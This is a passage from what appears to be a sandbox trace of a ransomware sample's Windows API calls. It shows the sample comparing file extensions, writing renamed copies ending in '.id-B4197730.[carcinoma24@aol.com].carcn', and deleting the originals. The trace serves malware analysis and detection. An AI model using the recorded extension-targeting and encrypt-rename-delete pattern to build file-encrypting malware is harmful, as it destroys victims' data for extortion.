shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0292.435] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=2652) returned 1 [0292.435] CloseHandle (hObject=0x334) returned 1 [0292.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0292.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0292.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0292.435] lstrlenW (lpString=".doc") returned 4 [0292.435] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0292.435] lstrlenW (lpString=".docx") returned 5 [0292.435] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0292.435] lstrlenW (lpString=".pdf") returned 4 [0292.435] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0292.435] lstrlenW (lpString=".xls") returned 4 [0292.435] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0292.435] lstrlenW (lpString=".xlsx") returned 5 [0292.435] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0292.435] lstrlenW (lpString=".ppt") returned 4 [0292.436] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0292.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0292.436] lstrlenW (lpString=".zip") returned 4 [0292.436] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0292.436] lstrlenW (lpString=".rar") returned 4 [0292.436] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0292.436] lstrlenW (lpString=".bz2") returned 4 [0292.436] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0292.436] lstrlenW (lpString=".7z") returned 3 [0292.436] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0292.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0292.436] lstrlenW (lpString=".dbf") returned 4 [0292.436] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0292.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0292.436] lstrlenW (lpString=".1cd") returned 4 [0292.436] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0292.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0292.436] lstrlenW (lpString=".jpg") returned 4 [0292.436] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0292.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0292.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0292.436] lstrlenW (lpString=".doc") returned 4 [0292.436] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0292.436] lstrlenW (lpString=".docx") returned 5 [0292.436] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0292.436] lstrlenW (lpString=".pdf") returned 4 [0292.436] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0292.436] lstrlenW (lpString=".xls") returned 4 [0292.437] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0292.437] lstrlenW (lpString=".xlsx") returned 5 [0292.437] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0292.437] lstrlenW (lpString=".ppt") returned 4 [0292.437] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0292.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0292.437] lstrlenW (lpString=".zip") returned 4 [0292.437] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0292.437] lstrlenW (lpString=".rar") returned 4 [0292.437] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0292.437] lstrlenW (lpString=".bz2") returned 4 [0292.437] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0292.437] lstrlenW (lpString=".7z") returned 3 [0292.437] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0292.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0292.437] lstrlenW (lpString=".dbf") returned 4 [0292.437] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0292.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0292.437] lstrlenW (lpString=".1cd") returned 4 [0292.437] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0292.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml") returned 61 [0292.437] lstrlenW (lpString=".jpg") returned 4 [0292.437] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0292.437] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0292.438] lstrlenW (lpString="ipsid.xml") returned 9 [0292.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0292.438] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=2570) returned 1 [0292.438] CloseHandle (hObject=0x334) returned 1 [0292.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml")) returned 0x20 [0292.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml") returned 60 [0292.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml") returned 60 [0292.439] lstrlenW (lpString=".doc") returned 4 [0292.439] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0292.439] lstrlenW (lpString=".docx") returned 5 [0292.439] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0292.439] lstrlenW (lpString=".pdf") returned 4 [0292.439] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0292.439] lstrlenW (lpString=".xls") returned 4 [0292.439] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0292.439] lstrlenW (lpString=".xlsx") returned 5 [0292.439] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0292.439] lstrlenW (lpString=".ppt") returned 4 [0292.439] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0292.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml") returned 60 [0292.439] lstrlenW (lpString=".zip") returned 4 [0292.439] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0292.439] lstrlenW (lpString=".rar") returned 4 [0292.439] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0292.439] lstrlenW (lpString=".bz2") returned 4 [0292.439] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0292.439] lstrlenW (lpString=".7z") returned 3 [0292.439] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0292.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml") returned 60 [0292.439] lstrlenW (lpString=".dbf") returned 4 [0292.439] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0292.825] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.825] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0292.826] GetLastError () returned 0x0 [0292.826] ReadFile (in: hFile=0x364, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x135b, lpOverlapped=0x0) returned 1 [0292.836] WriteFile (in: hFile=0x368, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1360, lpOverlapped=0x0) returned 1 [0292.837] ReadFile (in: hFile=0x364, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0292.838] WriteFile (in: hFile=0x368, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0292.838] SetEndOfFile (hFile=0x368) returned 1 [0292.838] CloseHandle (hObject=0x368) returned 1 [0292.838] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.838] SetEndOfFile (hFile=0x364) returned 1 [0292.839] CloseHandle (hObject=0x364) returned 1 [0292.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0292.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0292.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0292.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0292.840] lstrlenW (lpString=".doc") returned 4 [0292.840] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0292.840] lstrlenW (lpString=".docx") returned 5 [0292.840] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0292.840] lstrlenW (lpString=".pdf") returned 4 [0292.840] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0292.840] lstrlenW (lpString=".xls") returned 4 [0292.840] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0292.840] lstrlenW (lpString=".xlsx") returned 5 [0292.840] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0292.840] lstrlenW (lpString=".ppt") returned 4 [0292.840] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0292.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0292.840] lstrlenW (lpString=".zip") returned 4 [0292.840] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0292.840] lstrlenW (lpString=".rar") returned 4 [0292.840] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0292.840] lstrlenW (lpString=".bz2") returned 4 [0292.840] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0292.840] lstrlenW (lpString=".7z") returned 3 [0292.840] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0292.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0292.840] lstrlenW (lpString=".dbf") returned 4 [0292.841] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0292.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0292.841] lstrlenW (lpString=".1cd") returned 4 [0292.841] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0292.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0292.841] lstrlenW (lpString=".jpg") returned 4 [0292.841] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0292.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0292.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0292.841] lstrlenW (lpString=".doc") returned 4 [0292.841] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0292.841] lstrlenW (lpString=".docx") returned 5 [0292.841] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0292.841] lstrlenW (lpString=".pdf") returned 4 [0292.841] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0292.841] lstrlenW (lpString=".xls") returned 4 [0292.841] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0292.841] lstrlenW (lpString=".xlsx") returned 5 [0292.841] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0292.841] lstrlenW (lpString=".ppt") returned 4 [0292.841] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0292.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0292.841] lstrlenW (lpString=".zip") returned 4 [0292.841] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0292.841] lstrlenW (lpString=".rar") returned 4 [0292.841] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0292.841] lstrlenW (lpString=".bz2") returned 4 [0292.841] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0292.841] lstrlenW (lpString=".7z") returned 3 [0292.841] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0292.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0292.841] lstrlenW (lpString=".dbf") returned 4 [0292.841] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0292.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0292.841] lstrlenW (lpString=".1cd") returned 4 [0292.841] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0292.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0292.841] lstrlenW (lpString=".jpg") returned 4 [0292.842] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0292.842] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0292.842] lstrlenW (lpString="AG00158_.GIF") returned 12 [0292.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0292.842] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=5030) returned 1 [0292.842] CloseHandle (hObject=0x364) returned 1 [0292.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 0x220 [0292.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0292.843] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.843] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0292.843] GetLastError () returned 0x0 [0292.843] ReadFile (in: hFile=0x364, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x13a6, lpOverlapped=0x0) returned 1 [0292.844] WriteFile (in: hFile=0x368, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x13b0, lpOverlapped=0x0) returned 1 [0292.846] ReadFile (in: hFile=0x364, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0292.846] WriteFile (in: hFile=0x368, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0292.846] SetEndOfFile (hFile=0x368) returned 1 [0292.846] CloseHandle (hObject=0x368) returned 1 [0292.846] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.846] SetEndOfFile (hFile=0x364) returned 1 [0292.847] CloseHandle (hObject=0x364) returned 1 [0292.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0292.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0292.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0292.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0292.848] lstrlenW (lpString=".doc") returned 4 [0292.848] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0292.848] lstrlenW (lpString=".docx") returned 5 [0292.848] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0292.848] lstrlenW (lpString=".pdf") returned 4 [0292.848] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0292.848] lstrlenW (lpString=".xls") returned 4 [0292.848] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0292.848] lstrlenW (lpString=".xlsx") returned 5 [0292.848] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0292.848] lstrlenW (lpString=".ppt") returned 4 [0292.848] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0292.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0292.848] lstrlenW (lpString=".zip") returned 4 [0292.848] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0292.848] lstrlenW (lpString=".rar") returned 4 [0292.848] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0292.848] lstrlenW (lpString=".bz2") returned 4 [0292.848] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0292.848] lstrlenW (lpString=".7z") returned 3 [0292.848] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0292.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0292.848] lstrlenW (lpString=".dbf") returned 4 [0292.848] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0292.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0292.848] lstrlenW (lpString=".1cd") returned 4 [0292.849] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0292.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0292.849] lstrlenW (lpString=".jpg") returned 4 [0292.849] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0292.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0292.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0292.849] lstrlenW (lpString=".doc") returned 4 [0292.849] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0292.849] lstrlenW (lpString=".docx") returned 5 [0292.849] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0292.849] lstrlenW (lpString=".pdf") returned 4 [0292.849] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0292.849] lstrlenW (lpString=".xls") returned 4 [0292.849] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0292.849] lstrlenW (lpString=".xlsx") returned 5 [0292.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0292.849] lstrlenW (lpString=".ppt") returned 4 [0292.849] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0292.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0292.849] lstrlenW (lpString=".zip") returned 4 [0292.849] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0292.849] lstrlenW (lpString=".rar") returned 4 [0292.849] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0292.849] lstrlenW (lpString=".bz2") returned 4 [0292.849] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0292.849] lstrlenW (lpString=".7z") returned 3 [0292.849] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0292.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0292.849] lstrlenW (lpString=".dbf") returned 4 [0292.849] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0292.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0292.849] lstrlenW (lpString=".1cd") returned 4 [0292.850] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0292.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0292.850] lstrlenW (lpString=".jpg") returned 4 [0292.850] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0292.850] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0292.850] lstrlenW (lpString="AG00160_.GIF") returned 12 [0292.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0292.850] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=1146) returned 1 [0292.850] CloseHandle (hObject=0x364) returned 1 [0292.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 0x220 [0292.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0292.851] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.851] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 